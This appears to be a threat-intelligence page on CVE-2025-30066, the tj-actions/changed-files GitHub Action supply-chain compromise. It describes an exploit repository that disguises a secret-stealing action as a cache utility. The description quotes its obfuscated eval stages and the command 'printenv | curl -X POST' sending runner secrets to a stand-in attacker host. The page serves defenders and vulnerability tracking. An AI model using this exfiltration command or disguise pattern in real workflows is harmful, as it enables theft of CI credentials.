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CVE-2025-30066 is an embedded malicious code vulnerability resulting from the March 2025 supply-chain compromise of the tj-actions/changed-files GitHub Action. Mutable releases from v1 through v45.0.7 were retroactively redirected to a malicious revision during the compromise window. The injected payload extracted secrets available to GitHub Actions runner processes and wrote them to workflow logs, enabling their disclosure to parties able to access those logs. The issue was actively exploited and is listed in CISA's Known Exploited Vulnerabilities catalog.
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1 valid exploit after Mallory filtered fakes, detection scripts, and README-only repos (1 hidden).
This repository is a small malicious GitHub Action disguised as a benign cache utility. It contains three files: a minimal README describing it as a simulated compromised action for security research, an action.yml manifest defining a Node 20 GitHub Action named 'Cache Files', and dist/index.js containing the actual logic. The JavaScript implements a lightweight mock of @actions/core helpers, accepts path and key inputs, and performs plausible cache-related output generation to appear legitimate. However, before the normal run() logic, it executes two obfuscated payload stages using eval: one from a hex-decoded string and another from a base64-decoded string. The second stage imports child_process.execSync and runs 'printenv | curl -X POST -d @- https://attacker.example.com/envs', which exfiltrates all runner environment variables to an attacker-controlled endpoint. This is a supply-chain style CI/CD compromise pattern consistent with the README's stated simulation of CVE-2025-30066-style malicious GitHub Actions behavior. The exploit capability is credential and secret theft from CI environments, not host takeover. The code is operational rather than a mere proof of concept because it includes a working hardcoded exfiltration command and preserves expected action behavior to evade detection.
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27 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.
Actively exploited supply-chain vulnerability/compromise involving the GitHub Action tj-actions/changed-files, where mutable version tags were repointed to a malicious commit, causing downstream workflows to execute poisoned action code.
A high-severity supply-chain compromise involving tj-actions/changed-files, categorized as embedded malicious code and affecting more than 23,000 repositories.
Уязвимость в tj-actions/changed-files, приведённая как связанный пример аналогичных CI/CD и GitHub Actions supply-chain рисков; отмечена как эксплуатируемая в дикой природе и включённая в CISA KEV.
A supply-chain vulnerability/incident involving tj-actions in which retroactive tag modification attacks could be used against CI/CD workflows; cited here as a reason to pin actions to immutable SHAs.
Query your assets running an affected version, and investigate the blast radius.
Every observed campaign linking this CVE to a named adversary.
Malware families riding this exploit, with evidence and IOCs.
YARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.
Cross-references every affected SKU, including bundled OEM variants.
Community discussion across Reddit, Mastodon, and other social sources.